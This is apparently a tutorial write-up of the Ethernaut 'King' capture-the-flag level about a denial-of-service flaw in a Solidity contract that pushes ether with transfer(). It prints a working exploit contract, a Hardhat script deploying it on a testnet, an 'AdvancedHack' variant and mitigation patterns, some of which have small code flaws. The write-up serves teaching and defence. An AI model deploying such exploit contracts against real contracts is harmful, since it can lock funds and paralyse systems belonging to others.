Appearance
Exploiting the King Contract: A Deep Dive into Denial-of-Service Attacks in Ethereum Smart Contracts
Introduction
In the world of blockchain security and Capture The Flag (CTF) challenges, the King contract from Ethernaut presents a fascinating case study in smart contract vulnerabilities. This seemingly simple game demonstrates how subtle design flaws can lead to complete contract paralysis through denial-of-service (DoS) attacks. In this technical deep dive, we'll explore the mechanics of the King contract, analyze its vulnerability, and demonstrate a practical exploit that prevents the contract from functioning as intended.
Understanding the King Contract
Contract Overview
The King contract implements a straightforward "king of the hill" game where participants compete to become the current king by sending more ether than the current prize. The contract's simplicity belies its critical vulnerability, making it an excellent educational tool for understanding smart contract security principles.
Contract Code Analysis
Let's examine the original King contract in detail:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Key Components Explained
State Variables:
king: Stores the address of the current kingprize: Public variable storing the current minimum bid to become kingowner: The contract deployer's address
Constructor:
- Initializes the contract with the deployer as both owner and first king
- Sets the initial prize to the ether sent during deployment
Receive Function:
- The core game logic resides in this fallback function
- Accepts new bids that meet the minimum prize requirement
- Transfers the incoming ether to the previous king
- Updates the king and prize variables
The Vulnerability: A Classic Denial-of-Service Scenario
Understanding the Attack Vector
The critical vulnerability in the King contract lies in its payment mechanism. When a new player becomes king, the contract attempts to transfer ether to the previous king using:
solidity
payable(king).transfer(msg.value);
This seemingly innocent line contains a fatal flaw. The transfer() function in Solidity has a crucial characteristic: it forwards a fixed amount of gas (2300 gas units) to the recipient. If the recipient is a contract that requires more gas to process the transfer, the transaction will fail.
The Self-Proclamation Problem
According to the challenge description: "When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation."
This means that after we become king, the level's automated system will attempt to reclaim the kingship by sending more ether to the contract. However, if we can make this transaction fail, we prevent the level from reclaiming the throne.
Crafting the Exploit: The Hack Contract
Exploit Strategy
Our goal is to create a contract that:
- Becomes the king by sending the required prize amount
- Cannot receive ether transfers (or makes them fail)
- Thereby prevents anyone else from becoming king
The Hack Contract Implementation
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
constructor(address payable _target) payable {
uint prize = King(_target).prize();
(bool success,) = _target.call{ value: prize }("");
require(success, "Send to King ETH fail!");
}
}
Exploit Breakdown
Constructor Execution:
- The Hack contract is deployed with sufficient ether to meet the prize requirement
- It queries the current prize from the King contract
- Sends exactly the prize amount to become the new king
Critical Missing Component:
- Notice that the Hack contract has no
receive()orfallback()function - This means it cannot accept ether transfers
- Notice that the Hack contract has no
The DoS Mechanism:
- When someone tries to dethrone our Hack contract, the King contract will attempt to transfer ether to it
- Since Hack has no payable functions, the transfer will fail
- The entire transaction in the King contract will revert due to the failed transfer
Step-by-Step Attack Execution
Phase 1: Initial Setup and Analysis
Before deploying our exploit, we need to understand the current state of the King contract. Let's examine the testing script:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { King, Hack } from "../typechain-types";
describe("King", function () {
describe("King testnet sepolia", function () {
it("testnet sepolia King reback failure", async function () {
const LEVEL_ADDRESS = "0x...";
const KING_ADDRESS = "0x...";
const KING_ABI = [
"function _king() public view returns (address)",
"function owner() public view returns (address)",
"function prize() public view returns (uint256)",
];
const challenger = await ethers.getNamedSigner("deployer");
const kingContract = new ethers.Contract(KING_ADDRESS, KING_ABI, challenger);
// Initial state verification
let kingAddress = await kingContract._king();
expect(kingAddress).to.be.equals(LEVEL_ADDRESS);
const ETH_INITIAL_AMOUNT = ethers.parseUnits("0.001", 18);
let prizeValue = await kingContract.prize();
expect(prizeValue).to.be.equals(ETH_INITIAL_AMOUNT);
let ownerAddress = await kingContract.owner();
expect(ownerAddress).to.be.equals(LEVEL_ADDRESS);
Phase 2: Deploying the Exploit
typescript
// Deploy the Hack contract with sufficient ether
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(KING_ADDRESS, {
value: ETH_INITIAL_AMOUNT
})) as Hack;
await hack.waitForDeployment();
const HACK_ADDRESS = await hack.getAddress();
Phase 3: Verification of Successful Attack
typescript
// Verify that Hack contract is now the king
kingAddress = await kingContract._king();
expect(kingAddress).to.be.equals(HACK_ADDRESS);
// Verify prize remains unchanged
prizeValue = await kingContract.prize();
expect(prizeValue).to.be.equals(ETH_INITIAL_AMOUNT);
// Verify owner remains the level address
ownerAddress = await kingContract.owner();
expect(ownerAddress).to.be.equals(LEVEL_ADDRESS);
});
});
});
Technical Deep Dive: Why This Exploit Works
Gas Limitations in Ether Transfers
The core of the vulnerability stems from how Ethereum handles ether transfers to contracts. When using transfer() or send(), only 2300 gas is forwarded to the recipient. This is a security measure to prevent reentrancy attacks, but it creates problems when the recipient needs more gas.
Contract-to-Contract Interaction Patterns
Consider what happens when the level tries to reclaim kingship:
- The level sends ether to the King contract
- The King contract's
receive()function executes - It attempts to transfer ether to the current king (our Hack contract)
- The transfer fails because:
- Hack has no payable functions
- Even if it did, 2300 gas might be insufficient for any meaningful operations
- The entire transaction reverts
The Irreversible State Change
Once our Hack contract becomes king, the King contract enters a permanently stuck state:
solidity
// This line will always fail for subsequent attempts
payable(king).transfer(msg.value);
Since the transfer fails, the transaction reverts, preventing the king and prize variables from being updated. The contract becomes unusable—a perfect denial-of-service condition.
Prevention and Security Best Practices
Secure Pattern 1: Pull Payment Architecture
Instead of pushing payments to recipients, implement a pull mechanism where users withdraw funds themselves:
solidity
contract SecureKing {
address public king;
uint256 public prize;
mapping(address => uint256) public pendingWithdrawals;
receive() external payable {
require(msg.value >= prize, "Insufficient amount");
// Store payment for previous king to withdraw
pendingWithdrawals[king] += msg.value;
// Update state
king = msg.sender;
prize = msg.value;
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "No funds to withdraw");
pendingWithdrawals[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
}
Secure Pattern 2: Check-Effects-Interactions with Gas Limit Consideration
Implement the Check-Effects-Interactions pattern with proper gas handling:
solidity
contract SecureKingV2 {
address public king;
uint256 public prize;
receive() external payable {
require(msg.value >= prize, "Insufficient amount");
// Store previous king address
address previousKing = king;
// Update state first (Check-Effects-Interactions pattern)
king = msg.sender;
prize = msg.value;
// Send payment with proper gas handling
(bool success, ) = previousKing.call{value: msg.value, gas: 100000}("");
// If transfer fails, funds remain in contract
// Previous king can claim them separately
if (!success) {
// Log failed transfer for manual recovery
emit TransferFailed(previousKing, msg.value);
}
}
}
Secure Pattern 3: Using Address.send() with Fallback
For maximum compatibility, ensure contracts can receive payments:
solidity
contract ReceivableContract {
// Minimal receive function that accepts any payment
receive() external payable {
// Accept payment without additional logic
}
// Or implement a proper fallback
fallback() external payable {
// Handle unexpected calls
}
}
Real-World Implications and Similar Vulnerabilities
Historical Context: The King's Ransom
This vulnerability pattern isn't just theoretical. Similar issues have appeared in production contracts, leading to locked funds and paralyzed systems. The King contract demonstrates a fundamental principle: never assume that ether transfers will always succeed.
Related Attack Vectors
- Reentrancy Attacks: The opposite side of the same coin, where too much gas is provided
- Gas Limit DoS: Contracts that become unusable when gas prices fluctuate
- Unbounded Operations: Loops that consume unpredictable amounts of gas
Advanced Exploitation Techniques
Multi-Stage Attacks
Sophisticated attackers might combine this vulnerability with other techniques:
solidity
contract AdvancedHack {
King public target;
bool public isLocked;
constructor(address payable _target) payable {
target = King(_target);
uint prize = target.prize();
// Become king
(bool success,) = _target.call{value: prize}("");
require(success, "Failed to become king");
// Lock the contract
isLocked = true;
}
receive() external payable {
// Only accept payments when not locked
require(!isLocked, "Contract is locked");
// Could implement complex logic here
// that consumes more than 2300 gas
complexOperation();
}
function complexOperation() internal {
// Expensive operation that would fail with 2300 gas
for(uint i = 0; i < 100; i++) {
// Some computation
}
}
function unlock() external {
// Only owner can unlock
isLocked = false;
}
}
Front-Running and MEV Considerations
In a real blockchain environment, attackers might use front-running techniques to ensure their exploit transaction gets mined first, preventing others from becoming king before them.
Testing and Verification Strategies
Comprehensive Test Suite
Beyond the basic test shown earlier, security-conscious developers should implement extensive testing:
typescript
describe("King Security Tests", function () {
it("should prevent DoS attacks", async function () {
// Test various attack scenarios
await testContractReceivesEther();
await testGasConsumption();
await testReentrancySafety();
});
it("should handle edge cases", async function () {
// Test with minimal gas
await testWithLowGasLimit();
// Test with contract recipients
await testWithVariousRecipientTypes();
// Test prize overflow scenarios
await testPrizeOverflow();
});
});
Formal Verification
For critical contracts, consider formal verification tools:
solidity
// @invariant king != address(0)
// @invariant prize > 0
contract VerifiedKing {
// Contract with proven properties
}
Conclusion: Lessons Learned
The King contract vulnerability teaches several crucial lessons for smart contract developers:
- Always Consider Failure Cases: Never assume external calls will succeed
- Implement Pull Over Push: Let users withdraw funds instead of pushing payments
- Follow Established Patterns: The Check-Effects-Interactions pattern prevents many vulnerabilities
- Test Extensively: Include tests for failure scenarios and edge cases
- Consider Gas Implications: Understand how much gas your operations require
The Bigger Picture
This CTF challenge represents more than just a technical puzzle—it embodies a fundamental shift in how we think about system design. In traditional systems, we often assume operations will succeed. In blockchain environments, we must design for failure at every step.
The King contract's simplicity makes it an excellent teaching tool, but the principles it demonstrates apply to complex DeFi protocols, NFT marketplaces, and enterprise blockchain solutions. By understanding and addressing these fundamental vulnerabilities, developers can build more robust, secure, and reliable smart contracts that stand the test of time in the adversarial environment of public blockchains.
Further Reading and Resources
- Ethereum Smart Contract Best Practices: https://consensys.github.io/smart-contract-best-practices/
- Solidity Documentation: https://docs.soliditylang.org/
- OpenZeppelin Contracts: Secure, community-audited contract libraries
- Ethernaut: More security challenges and learning resources
- Smart Contract Security Verification Standard: Industry-standard security checklist
By mastering these concepts and applying secure development practices, you'll be well-equipped to identify and prevent similar vulnerabilities in your own smart contract projects.